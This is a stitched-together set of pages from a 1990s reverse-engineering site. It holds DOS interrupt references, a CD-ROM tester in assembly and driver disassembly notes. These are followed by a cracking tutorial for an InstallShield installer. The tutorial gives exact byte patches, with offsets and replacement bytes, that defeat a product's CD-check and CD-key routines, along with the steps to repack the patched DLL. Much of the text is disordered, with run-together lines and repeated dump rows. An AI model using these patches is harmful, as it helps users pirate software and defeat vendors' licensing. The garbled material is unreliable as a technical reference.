SeeAlso: AX=1500h"CD-ROM"
--------d-2F150D-----------------------------
INT 2F - CD-ROM v2.00+ - GET CD-ROM DRIVE LETTERS
AX = 150Dh
ES:BX -> buffer for drive letter list
(1 byte per drive)
Return: buffer filled with drive numbers (0=A:).
Each byte corresponds to the drive in the same
position for function 1501h
SeeAlso: AX=150Bh
--------d-2F150E-----------------------------
INT 2F - CD-ROM v2.00+ -GET/SET VOLUME DESCRIPTOR PREFERENCE
AX = 150Eh
BX = subfunction
00h get preference
DX = 0000h
Return: DX = preference settings
01h set preference
DH = volume descriptor preference
01h = primary volume descriptor
02h = supplementary volume descriptor
DL = supplementary volume descriptor prefer.
01h = shift-Kanji
CX = drive number (0=A:)
Return: CF set on error
AX = error code(15=invalid drive,1=invalid function)
CF clear if successful
--------d-2F150F-----------------------------
INT 2F - CD-ROM v2.00+ - GET DIRECTORY ENTRY
AX = 150Fh
CL = drive number (0=A:)
CH bit 0 = copy flag
clear if direct copy
set if copy to structure which removes
ISO/High Sierra diffs
ES:BX -> ASCIZ path name
SI:DI -> buffer for directory entry
minimum 255 bytes for direct copy
Return: CF set on error
AX = error code
CF clear if successful
AX = disk format (0=High Sierra,1=ISO 9660)
Note: this function was not supported by Novell
DOS 7 NWCDEX prior to the 08/16/94 update
--------d-2F1510-----------------------------
INT 2F - CD-ROM v2.10+ - SEND DEVICE DRIVER REQUEST
AX = 1510h
CX = CD-ROM drive letter (0 = A, 1 = B, etc)
ES:BX -> CD-ROM device driver request header
(see #2251 at AX=0802h)
Note: MSCDEX initializes the device driver request
header's subunit field based on the drive number
specified in CX
BUG: Novell DOS 7 NWCDEX prior to the 12/13/94 update did
not initialize the subunit field
SeeAlso: AX=0802h
--------d-2F15FFBX0000-----------------------
INT 2F - CD-ROM - CORELCDX - INSTALLATION CHECK
AX = 15FFh
BX = 0000h
Return: BX = ABCDh if CORELCDX loaded
Note: Corel's CORELCDX.COM is a replacement for MSCDEX.EXE
it also supports the standard MSCDEX installation
check calls AX=1500h and AX=150Ch
SeeAlso: AX=1500h"CD-ROM",AX=150Ch
.model large
.stack 100h
blocks struc
lenght_block db 1Dh
disp_num db 0
funct_num db ?
status_word dw 0000
reserv db 8 dup ('?')
media_desc db 0
buffer_off dw 0
buffer_seg dw ?
sec_num dw ?
first_sec dw ?
.data
block blocks
More_Info_Block db 0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0
est_rout dw 0 ;off
dw 0 ;seg
int_rout dw 0 ;off
dw 0 ;seg
num_cd dw 0
err_code dd 0
text_code dd 0
text db '$'
db 'CD tester program',13,10,'$'
db 'CD was opened, now closing it',10,13,'$'
db 'CD was closed, now openning it',10,13,'$'
error db '$'
db 'Cannot allocate memory',10,13,'$'
db 'MSCDEX is not installed.',10,13,'$'
db 'You need MSCDEX 2.0 or greater',10,13,'$'
db 'No CD-ROM unit found.',13,10,'$'
db 'Function not sopported.',10,13,'$'
.code
.486
START:
pusha
mov ax,@DATA
mov ds,ax
mov text_code,1
call Show_Text
call Get_Mem
jc Show_Error
call Init_MSCDEX
jc Show_Error
call Get_Driver_Far_Calls
call Set_More_Info_Block
call Get_CD_Status
;call Read_Sector
;jmp finish
mov text_code,3
call Show_Text
call Open_CD
jmp @@2
finish:
;call Free_Mem
popa
mov ax,4C00h ;Back to DOS.
int 21h
;*************************************************
;****** Procedures ******
;*************************************************
Init_MSCDEX:
mov ax,1500h ;Is MDCDEX installed?
xor bx,bx ;First unit
int 2Fh
cmp bx,1
jae @1 ;MSCDEX to installed
mov num_cd,bx ;Stores gestioned CD_NUM
mov err_code,2 ;Mscdex not installed.
stc ;Set Error flag
ret
test bh,bh
jne @2
mov err_code,3 ;Version lower than 2.0
stc
ret
xor bx,bx
mov ax,150Dh ;Get unit letter.
int 2Fh
xor cx,cx
mov cl,al
mov ax,150Bh ;Is a CD-ROM unit?
int 2Fh
cmp bx,0ADADh
jne @3
test ax,ax
jne @4 ;Is a CD-ROM
@3: mov err_code,4
stc
ret
Get_Mem:
mov ax,@data
mov [block.buffer_seg],ax
lea si,Buffer
mov [block.buffer_off],si
ret
; mov ah,48h
; mov bx,100h ;Allocate 4 Kb
; int 21h
; jc @5
; mov [block.buffer_seg],ax ;Stores alloc. segment
; clc
; ret
;@5: mov err_code,1
; stc
; ret
;Free_Mem:
; mov ah,49h
; mov es,[block.buffer_seg]
; int 21h
; jc @5
; clc
; ret
Get_Driver_Far_Calls:
ret
Set_More_Info_Block:
mov ax,@data
mov [block.buffer_seg],ax
lea di,More_Info_Block
mov [block.buffer_off],di
ret
Open_CD:
mov [block.funct_num],0Ch
mov ax,0 ;Open
mov [More_Info_Block],al
mov [More_Info_Block+1],ah
jmp Execute_Command
Close_CD:
mov [block.funct_num],0Ch
mov ax,5 ;Close
mov [More_Info_Block],al
mov [More_Info_Block+1],ah
jmp Execute_Command
Read_Sector:
mov [block.funct_num],80h
mov [block.media_desc],1 ;Red book
Get_CD_Status:
mov [block.funct_num],03h
mov ax,6 ;Get CD Status
mov [More_Info_Block],al
mov [More_Info_Block+1],ah
jmp Execute_Command
Execute_Command:
lea bx,block
mov ax,@data
mov es,ax
call dword ptr [est_rout]
call dword ptr [int_rout]
ret
Show_Error:
mov ax,@data
mov ds,ax
lea esi,error
mov ecx,err_code
cld
mov al,'$'
@6: mov ah,[esi]
inc esi
cmp ah,al
jne @6
loop @6
mov edx,esi
mov ah,9
int 21h ;Show error text
jmp finish
Show_Text:
mov ax,@data
mov ds,ax
lea esi,text
mov ecx,text_code
cld
mov al,'$'
@7: mov ah,[esi]
inc esi
cmp ah,al
jne @7
loop @7
mov edx,esi
mov ah,9
int 21h ;Show text
ret
END START
offset meanning
00h Subunit number
01h-05h Far ptr to driver
..
..
----------P0020003F--------------------------
PORT 0020-003F - PIC 1 - PROGRAMMABLE INTERRUPT CONTROLLER
(8259A)
2-0 reserved
2 poll command
1-0 function
0x no operation
10 read interrupt request register on next read
from PORT 0020h
11 read interrupt in-service register on next read
from PORT 0020h
Note: the special mask mode permits all other interrupts
(even those with lower priority) to be processed
while an interrupt is already in service, but will
not reissue an interrupt for a particular IRQ while
it remains in service
----------P00A000AF--------------------------
PORT 00A0-00AF - PIC 2 - PROGRAMMABLE INTERRUPT CONTROLLER
(8259A)
----------M0040006C--------------------------
MEM 0040h:006Ch - TIMER TICKS SINCE MIDNIGHT
Size: DWORD
----------M00400070--------------------------
MEM 0040h:0070h - TIMER OVERFLOW
Size: BYTE
Desc: non-zero if timer has counted past midnight since
last call to INT 1A/AH=00h
Note: the original IBM BIOS, and thus most other BIOSes,
sets this byte to 01h at midnight; a few (such as
the Eagle PC-2) increment it each time midnight is
passed. The former behavior results in lost days
if multiple midnights pass between "get-time" calls
while the machine is powered up.
--------B-M0040008E--------------------------
/*
* Device-independent level for ATAPI drivers.
*
* Copyright (C) 1995 Cronyx Ltd.
* Author Serge Vakulenko,
*
* This software is distributed with NO WARRANTIES, not even
* the implied warranties for MERCHANTABILITY or FITNESS FOR
* A PARTICULAR PURPOSE.
*
* Authors grant any other persons or organizations
* permission to use or modify this software as long as this
* message is kept with the software, all derivative works
* or modified versions.
*
* Version 1.9, Thu Oct 12 15:53:50 MSK 1995
*/
/*
* Disk Controller ATAPI register definitions.
*/
/*
* Status register bits
*/
ARS_CHECK 0x01 /* error occured, see sense key/code */
/* bit 0x02 reserved */
ARS_CORR 0x04 /* correctable error occured */
ARS_DRQ 0x08 /* data request / ireason valid */
ARS_DSC 0x10 /* immediate operation completed */
ARS_DF 0x20 /* drive fault */
ARS_DRDY 0x40 /* ready to get command */
/*
* Error register bits
*/
AER_ILI 0x01 /* illegal length indication */
AER_EOM 0x02 /* end of media detected */
AER_ABRT 0x04 /* command aborted */
AER_MCR 0x08 /* media change requested */
AER_SKEY 0xf0 /* sense key mask */
AER_SK_NO_SENSE 0x00 /* no specific sense key info */
AER_SK_RECOVERED_ERROR 0x10 /* command succeeded, data recovered */
AER_SK_NOT_READY 0x20 /* no access to drive */
AER_SK_MEDIUM_ERROR 0x30 /* non-recovered data error */
AER_SK_HARDWARE_ERROR 0x40 /* non-recoverable hardware failure */
AER_SK_ILLEGAL_REQUEST 0x50 /* invalid command parameter(s) */
AER_SK_UNIT_ATTENTION 0x60 /* media changed */
AER_SK_DATA_PROTECT 0x70 /* reading read-protected sector */
AER_SK_ABORTED_COMMAND 0xb0 /* command aborted, try again */
AER_SK_MISCOMPARE 0xe0 /* data did not match the medium */
AER_BITS "\20\4mchg\3abort\2eom\1ili"
/*
* Feature register bits
*/
ARF_DMA 0x01 /* transfer data via DMA */
ARF_OVERLAP 0x02 /* release the bus until completion */
/*
* Interrupt reason register bits
*/
ARI_CMD 0x01 /* command(1) or data(0) */
ARI_IN 0x02 /* transfer to(1) or from(0) the host */
ARI_RELEASE 0x04 /* bus released until completion */
/*
* Drive register values
*/
ARD_DRIVE0 0xa0 /* drive 0 selected */
ARD_DRIVE1 0xb0 /* drive 1 selected */
/*
* ATA commands
*/
ATAPIC_IDENTIFY 0xa1 /* get drive parameters */
ATAPIC_PACKET 0xa0 /* execute packet command */
/*
* Mandatory packet commands
*/
/*
* Optional packet commands
*/
ATAPI_PLAY_MSF 0x47 /* play by MSF address */
ATAPI_PAUSE 0x4b /* stop/start audio operation */
/*
* Nonstandard packet commands
*/
ATAPI_PLAY_TRACK 0x48 /* play by track number */
ATAPI_PLAY_BIG 0xa5 /* play by logical block address */
027B 98 cbw
027C D1E0 shl ax, 01 ax=6*2=0Ch
027E 03F0 add si, ax si=4E+0C=5Ah
0280 2E8B1E7C00 mov bx, cs:[007C] ;Subunit
0285 2EFF24 jmp word ptr cs:[si] ;jmp 2D3h
2CA9 59 pop cx
2CAA 5B pop bx
2CAB 7303 jnb 2CB0 ;any error?
2CAD E9E100 jmp 2D91 ;yes
2CB0 2E80BFFA0700 cmp byte ptr cs:[bx+07FA], 00
2CB6 7502 jne 2CBA
2CB8 EB65 jmp 2D1F
085E FC cld
085F 1E push ds
0860 06 push es
0861 55 push bp
0862 53 push bx
0863 51 push cx
0864 52 push dx
0865 57 push di
0866 56 push si
0867 0E push cs
0868 1F pop ds
0869 E8410E call 16AD ;Save Registers
08D2 9D popf
08D3 2EC606ED0700 mov byte ptr cs:[07ED],00;Driver
;Free
08D9 FB sti
08DA 5E pop si
08DB 5F pop di
08DC 5A pop dx
08DD 59 pop cx
08DE 5B pop bx
08DF 5D pop bp
08E0 07 pop es
08E1 1F pop ds
08E2 CB retf
0842 81 0F E3 08 80 0B E3 08 E3 08 72 13 22 0E 6F 0F
0852 83 13 37 14 77 10 13 15 5A 15 BE 15 FC
^^^^^
Now, we must try to discover what does mean every byte and
what action performs every call, and then, following the
Fravia's advices we will use our Word Processor and we will
replace numbers with letters.
18DD FA cli
18DE 50 push ax
18DF B00B mov al, 0B
18E1 E6A0 out A0, al ;Next read
;give me the
;ISR register
18E3 EB00 jmp 18E5 ;Give time
18E5 EB00 jmp 18E7 ;to PIC
18E7 E4A0 in al, A0 ;Get ISR
0=Reserved
00=no operation
01=OCW3
0=no polling command
11=read interrupt in service register on next read
of port A0h or 20h.
#10h=00010000==> CD-ROM
Master Slave
Bit(s) Description
7-5 operation
000 rotate in auto EOI mode (clear)
001 (WORD_A) nonspecific EOI
010 (WORD_H) no operation
011 (WORD_B) specific EOI
100 (WORD_F) rotate in auto EOI mode (set)
101 (WORD_C) rotate on nonspecific EOI command
110 (WORD_E) set priority command
111 (WORD_D) rotate on specific EOI command
4-3 reserved (00 - signals OCW2)
2-0 interrupt request to which the command applies
(only used by WORD_B, WORD_D, and WORD_E)
call 18FA ==> Get master and slave interrupt mask and stores
them at [6C9] and [6CA]
18FA FA cli
18FB 50 push ax
18FC E421 in al, 21 ;Get Master I.M.
18FE 2EA2C906 mov byte ptr cs:[06C9], al
1902 EB00 jmp 1904 ;Timing
1904 E4A1 in al, A1 ;Get Slave I.M.
1906 2EA2CA06 mov byte ptr cs:[06CA], al
190A 58 pop ax
190B FB sti
190C C3 ret
1869 50 push ax
186A 53 push bx
186B 51 push cx
186C 52 push dx
186D FA cli
186E E4A1 in al, A1 ;Get slave I.M.
1870 8AE0 mov ah, al
1872 EB00 jmp 1874
1874 E421 in al, 21 ;Get master I.M.
1876 2E8B1E7C00 mov bx, cs:[007C] ;Get Subunit
187B D1E3 shl bx, 01 ;Subunit*2
187D 2E8B97CC06 mov dx,cs:[bx+06CC] ;Get IO base
;for this
;subunit
;stored at
;init fase
1882 E81000 call 1895 ;Get CD IRQ
1885 0BC1 or ax, cx ;and enable it
1887 E621 out 21, al ;Set Master IRQ
1889 86E0 xchg al , ah
188B EB00 jmp 188D
188D E6A1 out A1, al ;Set Slave IRQ
188F FB sti
1890 5A pop dx
1891 59 pop cx
1892 5B pop bx
1893 58 pop ax
1894 C3 ret
1895 56 push si
1896 B90400 mov cx, 0004
1899 BEC407 mov si, 07C4
189C 2E3B14 cmp dx, cs:[si] ;dx=1F0h
189F 7408 je 18A9 ;Are equal?
18A1 83C605 add si, 0005 ;No, next posible
;IO base and Int.
18A4 E2F6 loop 189C
18A6 5E pop si
18A7 F9 stc
18A8 C3 ret
18A9 2E8B4C03 mov cx, cs:[si+03] ;Store IRQ
;for CD
18AD 5E pop si
18AE F8 clc
18AF C3 ret
0623 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0633 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0643 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0653 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0663 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0673 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0683 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0693 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
06A3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
06B3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
06C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0691 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
069B 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
06C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0691 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
069B 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
.
.
07C4 F0 01 0E 00 40 70 01 0F 00 80 E8 01 0B 00 08 68
07D4 01 0A 00 04 00 00 00 00 00 00 00 00 00 00 00 00
07E4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0812 0D 0B E3 08 A9 0D E3 08 E3 08 E3 08 81 0C E3 08
0822 34 0E 93 0F 7E 10 9A 10 E8 10 E3 08 E3 08 03 11
call 1895 ==> Restore Old IRQ Mask (see Call 18FA)
190D FA cli
190E 50 push ax
190F 2EA0C906 mov al, cs:[06C9]
1913 E621 out 21, al
1915 EB00 jmp 1917
1917 2EA0CA06 mov al, cs:[06CA]
191B E6A1 out A1, al
191D 58 pop ax
191E FB sti
191F C3 ret
;packet command
13E6 FC cld
13E7 D1E9 shr cx, 01 ;bytes->words
13E9 8B97CC06 mov dx, [bx+06CC] ;Get base 3F7h
13ED F36D repz insw ;Get CD_Status bytes
1418 EC in al, dx
1419 3C03 cmp al, 03
141B 7403 je 1420
141D E935F6 jmp 0A55
180F FC cld
1810 BF4806 mov di, 0648 ;M.P.C.
1813 0E push cs
1814 07 pop es
1815 B000 mov al, 00
1817 AA stosb
1818 B000 mov al, 00
181A AA stosb
181B AA stosb
181C A1E607 mov ax, word ptr [07E6]
181F AA stosb
1820 86E0 xchg al , ah
1822 AA stosb
1823 8A879407 mov al ,[bx+0794] ;Drive (B0h=1)
1827 AA stosb
1828 B0A0 mov al, A0 ;Command (A0h=execute
;M.P.C.)
182A AA stosb
182B C3 ret
0648 00 00 00 ?? ?? B0 A0
where ???? is stored at [7E6] and you could see how [7E6] is
a copy of the memory location word [629]==> CX at entry (see
call 16AD).
1715 FC cld
1716 BE3C06 mov si, 063C ;M.P.C. add.
1719 B90600 mov cx, 0006 ;Send 0Ch
;bytes
;(63Ch-647h)
171C 8B97CC06 mov dx, [bx+06CC];dx=1F0h
1720 F3 repz
1721 6F outsw
1722 F8 clc
1723 C3 ret
17E2 F9 stc
17E3 C3 ret
call 19C3 ==> Set Timeout (get bios ticks counter, adds
the timeout value and stores it at
[6C4])
19C3 9C pushf
19C4 50 push ax
19C5 53 push bx
19C6 1E push ds
19C7 BB4000 mov bx, 0040
19CA 8EDB mov ds, bx
19CC BB6C00 mov bx, 006C ;Bios ticks
;count
19CF 8B07 mov ax, [bx]
19D1 8B5F02 mov bx, [bx+02]
19D4 1F pop ds
19D5 891EC606 mov [06C6], bx
19D9 0106C406 add [06C4], ax
19DD 7304 jnb 19E3
19DF FF06C606 inc word ptr [06C6]
19E3 5B pop bx
19E4 58 pop ax
19E5 9D popf
19E6 C3 ret
19E7 50 push ax
19E8 53 push bx
19E9 1E push ds
19EA B84000 mov ax, 0040
19ED 8ED8 mov ds, ax
19EF BB6C00 mov bx, 006C
19F2 8B07 mov ax, [bx]
19F4 8B5F02 mov bx, [bx+02]
19F7 1F pop ds
19F8 3B1EC606 cmp bx, [06C6]
19FC 7208 jb 1A06
19FE 3B06C406 cmp ax, [06C4]
1A02 7202 jb 1A06
1A04 33C0 xor ax, ax ;Time finished
1A06 5B pop bx
1A07 58 pop ax
1A08 C3 ret
1773 53 push bx
1774 E8C600 call 183D ;Disable CD irq
1777 C706C406B400 mov word ptr [06C4], 00B4
177D E84302 call 19C3 ;Set timeout
1780 E86402 call 19E7 ;Is timeout finished?
1783 7430 je 17B5
1785 F606EC0701 test byte ptr [07EC], 01
178A 751E jne 17AA
178C E82101 call 18B0 ;Get CD irq number
178F 3C0E cmp al, 0E ;Is 0Eh?
1791 75ED jne 1780
1793 1E push ds
1794 B84000 mov ax, 0040
1797 8ED8 mov ds, ax
1799 BB8E00 mov bx, 008E
179C F60780 test byte ptr [bx], 80
;irq sets this bit when the
;command is finished
179F 7406 je 17A7
17A1 80277F and byte ptr [bx], 7F ;Clear it
;for future uses.
17A4 1F pop ds
17A5 EB03 jmp 17AA
17A7 1F pop ds
17A8 EBD6 jmp 1780 ;Give it more time
;to end the command
183D 50 push ax
183E 53 push bx
183F 51 push cx
1840 52 push dx
1841 FA cli
18B0 56 push si
18B1 53 push bx
18B2 51 push cx
18B3 52 push dx
18B4 2E8B1E7C00 mov bx, cs:[007C] ;Subunit
182C FC cld
182D BE4806 mov si, 0648
1830 8B97DC06 mov dx, [bx+06DC]
1834 B90700 mov cx, 0007
1837 AC lodsb
1838 EE out dx, al
1839 42 inc dx
183A E2FB loop 1837
183C C3 ret
176F F9 stc
1770 C3 ret
1771 F8 clc
1772 C3 ret
Well, sorry I know this doc is very disordered, but you can
print it and so it will be easier to understand.
So we will try to find out all the M.P.C., and here we have
again the invaluable help of Linux developers.
all numbers (lba, msf-bin, msf-bcd, counts) to transfer high byte first
Read Status:
status: 81. (1) one-byte command, gives the main
status byte
Read Error:
check1: 82 00 00 00 00 00 00. (6) r1: audio status
Read Packet:
check2: 8e xx 00 00 00 00 00. (xx) gets xx bytes response, relating
to commands 01 04 05 07 08 09
Play Audio:
play: 0a ll-bb-aa nn-nn-nn. (0) play audio, ll-bb-aa: starting block (lba),
nn-nn-nn: #blocks
Play Audio MSF:
0b mm-ss-ff mm-ss-ff (0) play audio from/to
Pause/Resume:
pause: 8d pr 00 00 00 00 00. (0) pause (pr=00)
resume (pr=80) audio playing
Mode Select:
84 00 nn-nn ??-?? 00 (0) nn-nn: 2048 or 2340
possibly defines transfer size
Mode Sense:
get_vol: 85 03 00 00 00 00 00. (2) tell current audio volume setting
Read TOC:
tocent: 8c fl nn 00 00 00 00. (8) read toc entry #nn
(fl=0:"lba"-, =2:"msf-bin"-format)
Read Capacity:
capacit: 88 00 00 00 00 00 00. (5) "read CD-ROM capacity"
Seek:
seek: 01 00 ll-bb-aa 00 00. (0)
seek: 01 02 mm-ss-ff 00 00. (0)
Read Data:
read: 02 xx-xx-xx nn-nn fl. (??) read nn-nn blocks of 2048 bytes,
starting at block xx-xx-xx
fl=0: "lba"-, =2:"msf-bcd"-coded xx-xx-xx
Read XA-Data:
read: 03 xx-xx-xx nn-nn fl. (??) read nn-nn blocks of 2340 bytes,
starting at block xx-xx-xx
fl=0: "lba"-, =2:"msf-bcd"-coded xx-xx-xx
Read SUB_Q:
89 fl 00 00 00 00 00. (13) r0: audio status, r4-r7: lba/msf,
fl=0: "lba", fl=2: "msf"
Read Header:
04 00 ll-bb-aa 00 00. (0) 4 bytes response with "check2"
04 02 mm-ss-ff 00 00. (0) 4 bytes response with "check2"
Spin Up:
05 00 ll-bb-aa 00 00. (0) possibly implies a "seek"
Spin Down:
06 ...
Diagnostic:
07 00 ll-bb-aa 00 00. (2) 2 bytes response with "check2"
07 02 mm-ss-ff 00 00. (2) 2 bytes response with "check2"
Read UPC:
08 00 ll-bb-aa 00 00. (16)
08 02 mm-ss-ff 00 00. (16)
Read ISRC:
09 00 ll-bb-aa 00 00. (15) 15 bytes response with "check2"
09 02 mm-ss-ff 00 00. (15) 15 bytes response with "check2"
Set XA Parameter:
86 ...
Read XA Parameter:
87 ...
==============================================================================
============================================================================*/
/*
* commands
*
* CR-52x: CMD0_
* CR-56x: CMD1_
* CD200: CMD2_ <== This is my CD model. * LCS-7260: CMDL_ * TEAC CD-55A:
CMDT_ * ECS-AT: CMDV_ */ #define CMD1_RESET 0x0a #define CMD2_RESET 0x01 #define
CMDT_RESET 0xc0 #define CMD1_LOCK_CTL 0x0c #define CMD2_LOCK_CTL 0x1e #define
CMDT_LOCK_CTL CMD2_LOCK_CTL #define CMDL_LOCK_CTL 0x0e #define CMDV_LOCK_CTL
CMDL_LOCK_CTL #define CMD1_TRAY_CTL 0x07 #define CMD2_TRAY_CTL 0x1b #define
CMDT_TRAY_CTL CMD2_TRAY_CTL #define CMDL_TRAY_CTL 0x0d #define CMDV_TRAY_CTL
0x20 #define p_check 0x10 #define p_busy_new 0x08 #define p_door_locked 0x04 #define
p_disk_ok 0x01 With this info, we can work developing our own driver, with it we can
control all, even we can create a virtual CD on any directory of your hard disk,
simply returning the info that the program demands. W95 is the same, go to the
iosubsys directory and find the vxd file that handles the CD (I'm working on it at
this time). Comments, addings and corrections are welcomed (and needed) +Rcg 1997
(c) +Rcg, 1997. All rights reversed.
You are deep inside fravia's page of reverse engineering, choose your way out:
Back to Project 4
by NaTzGUL
(22 November 1997, slightly edited by fravia+)
Well, a very interesting essay. Here we have a very "sound" approach to Installshield cracking. Read and enjoy!
__________________________
A) INTRODUCTION
LEVEL :
Well, I will try to give you all Informations and document all my Steps
and Listings, so maybe also a Beginner will be able to understand this
1.CD-CHECK
2.CD-KEY
3.SERIAL
__________________________
http://cracking.home.ml.org/
__________________________
_SETUP.LIB 151 KB
SETUP.EXE 659 KB
_SETUP.DLL 5,98 KB
SETUP.INS 89,5 KB
SETUP.PKG Not important
Dont mind it, because we dont need them anyway for cracking.
A compressed Data-Base File allways begins with "13 5D 65 8C 3A 01 02 00",
so if you cant find any xxx.z or xxx.1-x then just look for these bytes.
At the End of every compressed Data-Base File you can see all the File Names,
by the way.
SETUP.INS is the compiled Installation Script and its the most important
Part in a InstallSHILED Installation Process!
In Win95 it has got a globe connected to a phone as icon.
This File Controls any Action and has got most of the messages of the
Installation and it will play a major Role in our SECOND APPROACH.
__________________________
D) FIRST APPROACH
(CD-CHECK)
F5="^x;"
F7="^here;"
F8="^t;"
F9="^bpx;"
F10="^p;"
F11="^G @SS:ESP;"
F12="^p ret;"
EXP=c:\windows\system\kernel32.dll
EXP=c:\windows\system\user32.dll
HINT : "*" in Front of the Text coming up means, that the text into
brackets must be typed under SoftICE!
C:\TEMP\_ISTMP0.DIR\INSHELP.DLL
Now we see that its a DLL and that IstallSHIELD has created a
Temporary directory called _ISTMP0.DIR and then it puts the file
INSHELP.DLL in there.
But where does this File come from ?
Ok, maybe you dont have forgotten what i told you in C) about
compressed Data-Bases ? Yes ? Then you should read it again now!
So this DLL must be in _SETUP.LIB, but how should we patch it ?
Well we got ICOMPX the InstallSHIELD de/compressor ;)
Lets decompress _SETUP.LIB ("ICOMP _SETUP.LIB *.* -d -i")
These Files we will get :
INSHELP.DLL
UNINST.EXE
_ISRES.DLL
The last two files are only support Files and not important for us.
What we know now is that INSHELP.DLL makes the CD-CHECK and that it is
in _SETUP.LIB which we can decompress and then compress again.
By the way you may just type in "ICOMP" to get the full usage.
Now that we got all infos about this File and how to patch it lets
go on with SoftICEing ;).
We are still in INSHELP.DLL, so let me give you the listing first :
DWORD TABLE:
:10001308 BA120010 DWORD 100012BA These are the DWORDS for the indirect jmps
:1000130C C7120010 DWORD 100012C7 I have place them here coz it will be
:10001310 D4120010 DWORD 100012D4 easier for you to follow me ;)
:10001314 E1120010 DWORD 100012E1
:10001318 EE120010 DWORD 100012EE
:1000131C B0110010 DWORD 100011B0
:10001320 FB120010 DWORD 100012FB
above !) :100012E1 33C0 xor eax, eax Set eax to 0 :100012E3 5F pop edi Restore edi
from stack :100012E4 5E pop esi Restore esi from stack :100012E5 81C4E8020000 add
esp, 000002E8 Delete temporary Stack-Frame :100012EB C20400 ret 0004 return Well it
seems that EAX="0" stands for BAD BOY ;) Cracking this CD-CHECK could end here just
by patching the instructions at the Start of this routine (10001160)... Original:
:10001160 81ECE8020000 sub esp, 000002E8 Create a temporary Stack-Frame :10001166
B9FFFFFFFF mov ecx, FFFFFFFF ecx="FFFFFFFF" :1000116B 2BC0 sub eax, eax eax="0"
:1000116D 56 push esi Save esi :1000116E 57 push edi Save edi Change to: :10001160
33C0 xor eax,eax eax="0" :10001162 40 inc eax eax="eax+1=1" GOOD BOY :10001163 C20400
ret 0004 Return Search for "81ECE8020000" in INSHELP.DLL with your Hex-Editor. You
will only find one location (Offset 560). Replace the bytes with "33C040C20400" and
save it. Ok, and now compress it back into _SETUP.LIB. Just type in "icomp
inshelp.dll _setup.lib" and dont delete INSHELP.DLL, because we will need it again
later ;) Do you want to know what this CD-CHECK would do further on ? If not just go
over to the (CD-KEY) Section below! Hmmm, so you wanna learn more about CD-CHECKS ;)
OK * What we do now is setting eax to 5 by typping in "r eax="5"" then the jmp will
bring us to dptr[5*4+10001308]="dptr[1000131C]=100011B0" which means we are right
after the jmp itself ! at (3) The instructions after (3) just pushes all the infos
for the GetVolumeInformationA call at 100011D8. * Reference To:
KERNEL32.GetVolumeInformationA, Ord:013Ah | :100011D8 FF15DC900010 Call dword ptr
[100090DC] This calls GetVolumeInformation :100011DE 85C0 test eax, eax Do we got all
infos? :100011E0 0F8481000000 je 10001267 (4) if yes goto 10001267 :100011E6
8D842410010000 lea eax, [esp + 00000110] Volume Name ("HD_C") * Possible StringData
Ref from Data Obj>"CWHS_601"
|
:100011ED B938600010 mov ecx, 10006038
To continue our tracing session you have to nop out the Bad jmps !
* Trace to the jmps "F10" and then "a" with two "nop"s.
(4) This jmp will only occure if Setup is running from the original
CD-Rom.
It then just bypasses the Volume and Filetype Check.
I also suggest that you read part F) of this Tutorial to get more and
Ok, now comes the part the (5) Bad jmps will jump to....
^----------------------------"X:\Cakewalk\_setup.lib"
BOY !
:100012A4 81C4E8020000 add esp, 000002E8
:100012AA C20400 ret 0004
(CD-KEY)
Ok, the MessageBox never appears now, we get a Welcome Window instead ;)
We get an Edit area and a Text telling us to enter the 13 digit CD-KEY,
brbrb.
We type in "1234567890123" and then i set a Breakpoint on
* GetWindowTextA : "BPX GetWindowTextA".
After pressing the NEXT-> Button SoftICE pops up, this is easy hehe ;)
* We are in GetWindowTextA so lets get back to the App and press "F11".
I looked at EAX, because it allways contains the Text lenght
GetWindowTextA returns,
but hell!! this isnt the lengh of my Text and so this cannot be my Text =(,
brb.
Dont worry, this is just a little trick to prevent Beginners to crack it.
There are lotta other App out there using this trick btw !
Setup uses GetWindowTextA to retrieves our input, but it does not wait
for the user pressing NEXT->, it just gets the text anytime we type in
a single letter,
... ............
REPNZ SCASB SoftICE will break in here!
NOT ECX
MOV ESI,[EBP+0C] This is our old location
MOV EDI,[EBP+08] This will be our new location
... ............
So, if you see these instructions you can delete your old breakpoint,
* trace over the 2 MOVS with "F8" and then set a new Breakpoint on EDI:
* "BPM EDI". Otherwise just leave SoftICE until you are back in the
Installation Window. Press NEXT-> and you will break into lstrcpyA
several times again, but now dont delete the old Breakpoints,
just set the new ones on EDI after the 2 MOVS like before,
until you are in INSHELP!! yeah its the same dll ;).
Let me give you the listing first and consider again that the first
four digits of the adresses may differ from yours under SoftICE (relocation).
Well it seems that EAX=0 stands for BAD BOY again like in the CD-Check!
Cracking this CD-KEY could end here just by patching the instructions
at the Start of this routine (10001350)...
Dont patch it yet, if you wanna learn how to reverse ingineer this
KEY-Protection!!
Original:
:10001350 83EC34 sub esp, 00000034 Create a temporary
Stack-Frame
:10001353 53 push ebx Save ebx
:10001354 56 push esi Save esi
:10001355 57 push edi Save edi
:10001356 E8D5FCFFFF call 10001030 Was this routine initialysed
?
Change to:
:10001350 33C0 xor eax,eax eax=0
:10001352 40 inc eax eax=eax+1=1 GOOD BOY
:10001353 C20400 ret 0004 Return
00 Teminate KEY with 0 :1000139D B9FFFFFFFF mov ecx, FFFFFFFF Set counter ecx to
FFFFFFFF :100013A2 F2 repnz :100013A3 AE scasb Scan KEY for "0"="End" :100013A4 F7D1
not ecx :100013A6 49 dec ecx ecx="KEY" length :100013A7 83F90D cmp ecx, 0000000D (13)
KEY length="13" diggits ? :100013AA 740B je 100013B7 If yes goto 100013B7, else
